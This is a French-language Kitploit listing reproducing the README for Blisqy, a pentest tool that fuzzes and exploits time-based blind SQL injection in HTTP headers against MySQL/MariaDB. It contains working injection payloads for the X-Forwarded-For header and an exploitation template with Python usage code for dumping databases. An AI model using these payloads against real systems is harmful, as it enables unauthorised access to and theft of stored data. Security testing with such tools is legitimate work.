Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Blisqy — Version 0.2 - Exploitation d'injection SQL aveugle basée sur le temps dans les en-têtes HTTP (MySQL/MariaDB). | Kitploit
Outils/GitHubGitHub/johntroony/blisqy
Scanners de VulnérabilitésExploitationSécurité WebFuzzingSécurité des Bases de Données
GitHubjohntroony/blisqy

Blisqy

Version 0.2 - Exploitation d'injection SQL aveugle basée sur le temps dans les en-têtes HTTP (MySQL/MariaDB).

Voir le dépôt
416111il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

1. Blisqy

Blisqy est un outil pour aider les chercheurs en sécurité Web à trouver une injection SQL aveugle basée sur le temps dans les en-têtes HTTP et également à exploiter la même vulnérabilité.

L'exploitation permet un siphonnage lent de données depuis une base de données (ne supporte actuellement que MySQL/MariaDB) en utilisant des opérations bit à bit sur les caractères ASCII imprimables, via une injection SQL aveugle.

Pour l'interopérabilité avec d'autres outils Python et pour permettre à d'autres utilisateurs d'utiliser les fonctionnalités fournies dans Blisqy, les modules ici peuvent être importés dans d'autres scripts basés sur Python.

Lors des tests d'injections SQL aveugles basées sur le temps, tout décalage ou congestion réseau peut affecter l'efficacité de votre fuzzing ou exploitation. Pour compenser les éventuels décalages réseau et incertitudes pouvant causer des retards, la comparaison temporelle de Blisqy est dynamique et calculée à l'exécution pour chaque test. Les tests utilisent greenlet (une unité d'exécution coopérative légère) pour fournir une API synchrone de haut niveau au-dessus de la boucle libevevent. Cela permet un moyen rapide et efficace d'effectuer les tests de payload en peu de temps, et un test particulier n'affecte pas un autre car ils ne sont pas entièrement effectués de manière séquentielle.

1.1. Nouvelle(s) fonctionnalité(s)

Blisqy prend désormais en charge le fuzzing pour l'injection SQL aveugle basée sur le temps dans les en-têtes HTTP et les principales fonctionnalités (fuzzing et exploitation) séparées dans des fichiers indépendants pour la portabilité.

1.2. Fuzzing avec Blisqy

Pour utiliser la fonctionnalité de fuzzing, importez le module suivant dans votre script Python et fournissez une cible ainsi que les données de fuzzing comme indiqué ci-dessous :

root@kitploit:~
from lib.blindfuzzer import blindSeeker

Les paramètres cibles doivent être dans un format Dictionnaire/JSON, par exemple (Notez les types de données des variables) :

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

L'invocation du fuzzer une fois les paramètres cibles fournis est comme indiqué ci-dessous :

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

Vous pouvez consulter FindBlindSpot.py pour cet exemple fourni.

1.2.1. Exemple de sortie de fuzzing

Si vous réussissez, vous devriez obtenir un rapport des tests 'injectables' effectués. Veuillez noter que, même si Blisqy essaie de compenser les décalages et la congestion réseau pendant les tests, il est important de vérifier les tests positifs signalés avant de continuer.

Voici un exemple de rapport :

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

Capture d'écran du fuzzer Blisqy en action :

Fuzzing pour injection SQL aveugle

1.3. Exploitation avec Blisqy

Après avoir trouvé une potentielle injection SQL aveugle basée sur le temps, vous pouvez préparer un script pour exploiter l'application Web vulnérable.

Tout comme le fuzzer, vous pouvez importer le module d'exploitation dans votre script Python et définir un modèle pour l'opération d'exploitation. Voici un exemple d'importation du module dans un script Python :

root@kitploit:~
from lib.blindexploit import SqlEngine

Ensuite, vous devrez fournir les détails de votre cible ainsi que ses paramètres cibles pour l'exploitation. Voici un exemple d'implémentation de l'exploitation de l'injection SQL aveugle trouvée par le fuzzer :

Les données cibles doivent être dans un format Dictionnaire/JSON spécifiant le serveur, le port, l'en-tête vulnérable trouvé et sa valeur (certaines applications auront besoin ou vérifieront une certaine valeur). Notez également les types de données des variables.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

Les paramètres cibles doivent suivre, permettant à l'utilisateur de spécifier certaines options liées aux préférences d'exploitation.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime est le délai à utiliser dans les payloads
  • payload est une option pour exécuter l'exploitation avec une requête SQL personnalisée, par exemple select @@hostname. L'option par défaut est 'pass'.
  • mysqlDig permet à l'exploitation d'être automatique et d'énumérer toutes les tables disponibles dans le schéma.
  • interactive est une option pour permettre à l'utilisateur d'interagir avec la routine d'exploitation. Cela peut être pratique lorsque vous souhaitez passer directement aux parties intéressantes de la base de données.
  • verbosity peut être high, medium ou low. Cela contrôle simplement les informations de sortie de la routine d'exploitation.

Après avoir fourni votre cible et ses paramètres, la prochaine chose à fournir est un modèle pour la routine d'exploitation. Blisqy offre un moyen pour les utilisateurs de spécifier où injecter le payload SQL d'exfiltration et le délai sleeptime. Voici un exemple d'implémentation pour l'une des vulnérabilités trouvées dans le rapport d'exemple fourni dans la sous-section précédente.

Injection trouvée sur l'en-tête X-Forwarded-For :

root@kitploit:~
' or sleep(1)='

Modèle pour cette injection particulière :

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

Pendant l'exécution, *sql* sera remplacé par un payload d'injection SQL et *time* sera remplacé par un délai pour sleep().

Une fois tout cela fait, la dernière partie consiste à instancier la routine d'exploitation et à laisser la méthode MysqlDigger() faire le travail.

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

Vous pouvez consulter ExploitBlindSpot.py pour cet exemple fourni.

Voici un exemple d'opération d'exploitation :

Exploitation d'injection SQL aveugle

1.4. À faire

  • Intégrer un fuzzer intelligent pour rechercher des vulnérabilités d'injection SQL dans les en-têtes HTTP et les éléments Web
  • Prendre en charge le fuzzing et l'exploitation d'injections SQL aveugles sur des endpoints Web autres que les en-têtes HTTP.

1.4.1. Contribuer

Vous pouvez m'alerter de tout ce que vous avez trouvé d'intéressant avec Blisqy ou de ce que vous pensez devoir être ajouté/supprimé.

  • Partagez vos idées et votre wishlist,
  • Vous repérez une faute de frappe ? Faites-le moi savoir,
  • Vous avez trouvé des moyens d'optimiser Blisqy ?,
  • Suggérez des moyens d'intégrer la prise en charge d'autres SGBD.

1.4.2. Références

  • (PDF) Injection SQL aveugle basée sur le temps via les en-têtes HTTP : Fuzzing et exploitation.. Disponible depuis : https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - De l'injection SQL au Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

Télécharger l’outil